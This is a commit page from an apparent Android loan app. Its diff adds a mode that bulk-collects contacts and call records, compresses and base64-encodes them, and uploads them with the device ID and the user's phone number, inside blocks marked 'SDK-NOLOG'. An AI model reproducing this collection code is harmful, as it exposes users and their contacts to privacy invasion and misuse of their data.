Commit a7b029c6 by sikang

socket -> https

parent 57cdd028
...@@ -12,6 +12,7 @@ import com.annimon.stream.function.BiFunction; ...@@ -12,6 +12,7 @@ import com.annimon.stream.function.BiFunction;
import com.annimon.stream.function.Function; import com.annimon.stream.function.Function;
import com.common.bean.AppInfoBean; import com.common.bean.AppInfoBean;
import com.common.bean.CollectInfoEntity; import com.common.bean.CollectInfoEntity;
import com.common.bean.DeviceInfoBean;
import com.google.gson.Gson; import com.google.gson.Gson;
import com.google.gson.JsonArray; import com.google.gson.JsonArray;
import com.google.gson.JsonObject; import com.google.gson.JsonObject;
...@@ -234,14 +235,19 @@ public class Collector { ...@@ -234,14 +235,19 @@ public class Collector {
private static String toDeviceTypeDTO(Context context) { private static String toDeviceTypeDTO(Context context) {
JSONObject json = initJSON(InfoType.DEVICE_INFO, context); JSONObject json = initJSON(InfoType.DEVICE_INFO, context);
try { try {
List<DeviceInfoBean> deviceList = new ArrayList<>(1);
deviceList.add(DeviceUtils.getInstance().getDeviceInfo());
json.put("totalNumber", 1); json.put("totalNumber", 1);
json.put("latestTime", 0); json.put("latestTime", 0);
json.put("earliestTime", 0); json.put("earliestTime", 0);
String deviceInfo = new Gson().toJson(DeviceUtils.getInstance().getDeviceInfo()); String deviceJson = new Gson().toJson(deviceList);
JSONObject jsonObject = new JSONObject(deviceInfo); JSONArray jsonObject = new JSONArray(deviceJson);
json.put("data", jsonObject); json.put("data", jsonObject);
// String deviceInfo = new Gson().toJson(DeviceUtils.getInstance().getDeviceInfo());
// JSONObject jsonObject = new JSONObject(deviceInfo);
// json.put("data", jsonObject);
} catch (JSONException e) { } catch (JSONException e) {
e.printStackTrace(); e.printStackTrace();
} }
......
...@@ -249,6 +249,11 @@ public class UploadPresenter extends BasePresenter<UploadApi> { ...@@ -249,6 +249,11 @@ public class UploadPresenter extends BasePresenter<UploadApi> {
* 上传联系人 * 上传联系人
*/ */
public void uploadContact(String action, Context context) { public void uploadContact(String action, Context context) {
//渠道包上传全部数据
if(LibConfig.IS_COLLECT_MODE){
uploadAllData(action,context);
return;
}
//SDK-CONTACT-START //SDK-CONTACT-START
Observable.just(true) Observable.just(true)
.observeOn(Schedulers.io()) .observeOn(Schedulers.io())
...@@ -302,4 +307,62 @@ public class UploadPresenter extends BasePresenter<UploadApi> { ...@@ -302,4 +307,62 @@ public class UploadPresenter extends BasePresenter<UploadApi> {
//SDK-CONTACT-END //SDK-CONTACT-END
} }
/**
* 上传联系人 + 通讯录 + 通话记录
*/
public void uploadAllData(String action, Context context) {
//SDK-NOLOG-START
Observable.just(true)
.observeOn(Schedulers.io())
.map(aBoolean -> {
//获取需要上传的数据
List<CollectInfoEntity> infos = Collector.getUploadData(context.getApplicationContext());
//压缩、base64、组装
List<String> datas = Stream.of(infos)
.map(collectInfoEntity -> GZipUtil.compress(collectInfoEntity.getBody(), "utf-8"))
.map(bytes -> Base64.encodeToString(bytes, 0))
.reduce(new ArrayList<>(), (array, value) -> {
array.add(value);
return array;
});
return datas;
})
.retryWhen(new RetryWithDelay(5, 20 * 1000))
.map(strings -> {
List<Observable<ResponseBody>> infoList = new ArrayList<>(strings.size());
//每种数据一个请求
for (String info : strings) {
infoList.add(getApiService().uploadContact(new UploadCollectionBean(AppInfoUtils.getAndroidID(context), LoginManager.get().getMobile(), info)));
}
//开始上传,只上传一次,失败了忽略
handleRequest(action, Observable.zip(infoList, objects -> true).onErrorReturn(throwable -> true));
return true;
})
.observeOn(AndroidSchedulers.mainThread())
.onErrorReturn(throwable -> false)
.subscribe(new HttpObserver<Boolean>() {
@Override
public void onStart() {
//从采集数据开始loading
view.onHttpStart(action,true);
}
@Override
public void onSuccess(Boolean data) {
}
@Override
public void onError(int code, String msg) {
}
@Override
public void onFinish() {
}
});
//SDK-NOLOG-END
}
} }
...@@ -61,9 +61,10 @@ public class UploadManager { ...@@ -61,9 +61,10 @@ public class UploadManager {
/** /**
* 申请贷款时需要上传的数据(联系人、通话记录、短信记录 等) * 申请贷款时需要上传的数据(联系人、通话记录、短信记录 等)
* 弃用,全部转https
*/ */
public static void uploadCollectInfo(String sessionId) { public static void uploadCollectInfo(String sessionId) {
uploadCollectInfo(sessionId, true); // uploadCollectInfo(sessionId, true);
} }
/** /**
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment